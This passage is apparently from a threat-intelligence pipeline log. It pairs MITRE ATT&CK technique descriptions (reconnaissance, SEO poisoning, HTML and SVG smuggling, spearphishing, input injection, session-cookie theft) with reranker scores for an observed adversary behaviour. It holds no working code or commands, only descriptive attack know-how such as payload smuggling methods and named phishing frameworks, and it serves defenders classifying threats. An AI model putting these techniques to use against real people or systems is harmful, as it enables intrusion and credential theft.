reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.006", + "text": "ATT&CK technique: T1608.006 SEO Poisoning\nDescription: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms. To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news). In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors. Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation. SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1591.002", + "text": "ATT&CK technique: T1591.002 Business Relationships\nDescription: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1090.001", + "text": "ATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1570", + "text": "ATT&CK technique: T1570 Lateral Tool Transfer\nDescription: Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., Ingress Tool Transfer) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB/Windows Admin Shares to connected network shares or with authenticated connections via Remote Desktop Protocol. Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and ftp. In some cases, adversaries may be able to leverage Web Services such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.\nTactics: lateral movement\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.002", + "text": "ATT&CK technique: T1592.002 Software\nDescription: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1590.001", + "text": "ATT&CK technique: T1590.001 Domain Properties\nDescription: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1027.017", + "text": "ATT&CK technique: T1027.017 SVG Smuggling\nDescription: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. SVG smuggling can take a number of forms. For example, threat actors may include content that: * Assembles malicious payloads * Downloads malicious payloads * Redirects users to malicious websites * Displays interactive content to users, such as fake login forms and download buttons. SVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file. SVGs may also be included in other types of documents, such as PDFs.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.003", + "text": "ATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.001", + "text": "ATT&CK technique: T1591.001 Determine Physical Locations\nDescription: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1027.006", + "text": "ATT&CK technique: T1027.006 HTML Smuggling\nDescription: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads. Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters. For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1614.001", + "text": "ATT&CK technique: T1614.001 System Language Discovery\nDescription: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities. There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions. For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID. On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.\nTactics: discovery\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 0.65234375, + "rank": 0 + }, + { + "item_id": "T1598.003", + "score": 0.439453125, + "rank": 1 + }, + { + "item_id": "T1185", + "score": 0.37890625, + "rank": 2 + }, + { + "item_id": "T1557", + "score": 0.333984375, + "rank": 3 + }, + { + "item_id": "T1204", + "score": 0.1923828125, + "rank": 4 + }, + { + "item_id": "T1090", + "score": 0.173828125, + "rank": 5 + }, + { + "item_id": "T1608.005", + "score": 0.1640625, + "rank": 6 + }, + { + "item_id": "T1204.001", + "score": 0.1640625, + "rank": 7 + }, + { + "item_id": "T1090.002", + "score": 0.1123046875, + "rank": 8 + }, + { + "item_id": "T1140", + "score": 0.1005859375, + "rank": 9 + }, + { + "item_id": "T1090.001", + "score": 0.08447265625, + "rank": 10 + }, + { + "item_id": "T1566.002", + "score": 0.052978515625, + "rank": 11 + }, + { + "item_id": "T1027.017", + "score": 0.047607421875, + "rank": 12 + }, + { + "item_id": "T1608.004", + "score": 0.044677734375, + "rank": 13 + }, + { + "item_id": "T1659", + "score": 0.039306640625, + "rank": 14 + }, + { + "item_id": "T1557.004", + "score": 0.03759765625, + "rank": 15 + }, + { + "item_id": "T1584.002", + "score": 0.035400390625, + "rank": 16 + }, + { + "item_id": "T1189", + "score": 0.0311279296875, + "rank": 17 + }, + { + "item_id": "T1102.001", + "score": 0.0311279296875, + "rank": 18 + }, + { + "item_id": "T1534", + "score": 0.023193359375, + "rank": 19 + }, + { + "item_id": "T1059", + "score": 0.0203857421875, + "rank": 20 + }, + { + "item_id": "T1674", + "score": 0.0142822265625, + "rank": 21 + }, + { + "item_id": "T1608.006", + "score": 0.0111083984375, + "rank": 22 + }, + { + "item_id": "T1056", + "score": 0.00921630859375, + "rank": 23 + }, + { + "item_id": "T1598", + "score": 0.0086669921875, + "rank": 24 + }, + { + "item_id": "T1056.003", + "score": 0.00762939453125, + "rank": 25 + }, + { + "item_id": "T1027.006", + "score": 0.00762939453125, + "rank": 26 + }, + { + "item_id": "T1566.004", + "score": 0.007171630859375, + "rank": 27 + }, + { + "item_id": "T1204.004", + "score": 0.00494384765625, + "rank": 28 + }, + { + "item_id": "T1190", + "score": 0.004638671875, + "rank": 29 + }, + { + "item_id": "T1583.008", + "score": 0.00408935546875, + "rank": 30 + }, + { + "item_id": "T1071", + "score": 0.00384521484375, + "rank": 31 + }, + { + "item_id": "T1036", + "score": 0.003387451171875, + "rank": 32 + }, + { + "item_id": "T1593", + "score": 0.0025634765625, + "rank": 33 + }, + { + "item_id": "T1584.006", + "score": 0.002471923828125, + "rank": 34 + }, + { + "item_id": "T1592.004", + "score": 0.0023345947265625, + "rank": 35 + }, + { + "item_id": "T1491", + "score": 0.0021209716796875, + "rank": 36 + }, + { + "item_id": "T1592.002", + "score": 0.0017547607421875, + "rank": 37 + }, + { + "item_id": "T1683.001", + "score": 0.00170135498046875, + "rank": 38 + }, + { + "item_id": "T1001.003", + "score": 0.00170135498046875, + "rank": 39 + }, + { + "item_id": "T1589.001", + "score": 0.00170135498046875, + "rank": 40 + }, + { + "item_id": "T1684.001", + "score": 0.0016021728515625, + "rank": 41 + }, + { + "item_id": "T1566.003", + "score": 0.00141143798828125, + "rank": 42 + }, + { + "item_id": "T1132", + "score": 0.0012054443359375, + "rank": 43 + }, + { + "item_id": "T1598.002", + "score": 0.0012054443359375, + "rank": 44 + }, + { + "item_id": "T1539", + "score": 0.00116729736328125, + "rank": 45 + }, + { + "item_id": "T1598.004", + "score": 0.00116729736328125, + "rank": 46 + }, + { + "item_id": "T1608", + "score": 0.00113677978515625, + "rank": 47 + }, + { + "item_id": "T1591.004", + "score": 0.001068115234375, + "rank": 48 + }, + { + "item_id": "T1586", + "score": 0.00102996826171875, + "rank": 49 + }, + { + "item_id": "T1596.004", + "score": 0.00099945068359375, + "rank": 50 + }, + { + "item_id": "T1591.002", + "score": 0.00099945068359375, + "rank": 51 + }, + { + "item_id": "T1683.002", + "score": 0.000858306884765625, + "rank": 52 + }, + { + "item_id": "T1590.001", + "score": 0.000858306884765625, + "rank": 53 + }, + { + "item_id": "T1596.001", + "score": 0.000804901123046875, + "rank": 54 + }, + { + "item_id": "T1593.001", + "score": 0.000732421875, + "rank": 55 + }, + { + "item_id": "T1594", + "score": 0.000732421875, + "rank": 56 + }, + { + "item_id": "T1592", + "score": 0.000732421875, + "rank": 57 + }, + { + "item_id": "T1566.001", + "score": 0.000732421875, + "rank": 58 + }, + { + "item_id": "T1598.001", + "score": 0.000732421875, + "rank": 59 + }, + { + "item_id": "T1591.001", + "score": 0.000667572021484375, + "rank": 60 + }, + { + "item_id": "T1027", + "score": 0.0006256103515625, + "rank": 61 + }, + { + "item_id": "T1593.002", + "score": 0.00058746337890625, + "rank": 62 + }, + { + "item_id": "T1614", + "score": 0.00057220458984375, + "rank": 63 + }, + { + "item_id": "T1591.003", + "score": 0.00057220458984375, + "rank": 64 + }, + { + "item_id": "T1596.003", + "score": 0.000537872314453125, + "rank": 65 + }, + { + "item_id": "T1614.001", + "score": 0.000537872314453125, + "rank": 66 + }, + { + "item_id": "T1608.002", + "score": 0.0005035400390625, + "rank": 67 + }, + { + "item_id": "T1589", + "score": 0.00048828125, + "rank": 68 + }, + { + "item_id": "T1591", + "score": 0.000457763671875, + "rank": 69 + }, + { + "item_id": "T1590", + "score": 0.0004444122314453125, + "rank": 70 + }, + { + "item_id": "T1105", + "score": 0.0003681182861328125, + "rank": 71 + }, + { + "item_id": "T1597.002", + "score": 0.0003452301025390625, + "rank": 72 + }, + { + "item_id": "T1596.005", + "score": 0.0003147125244140625, + "rank": 73 + }, + { + "item_id": "T1570", + "score": 0.000278472900390625, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 26780 + } + }, + "evidence_sha256": "459b9b35dbf9459fbed0fc2397c7ad3ac8152f1b8cf09c54fe6e67da27931ddc" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 929.4, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: The threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim" + }, + "items": [ + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session 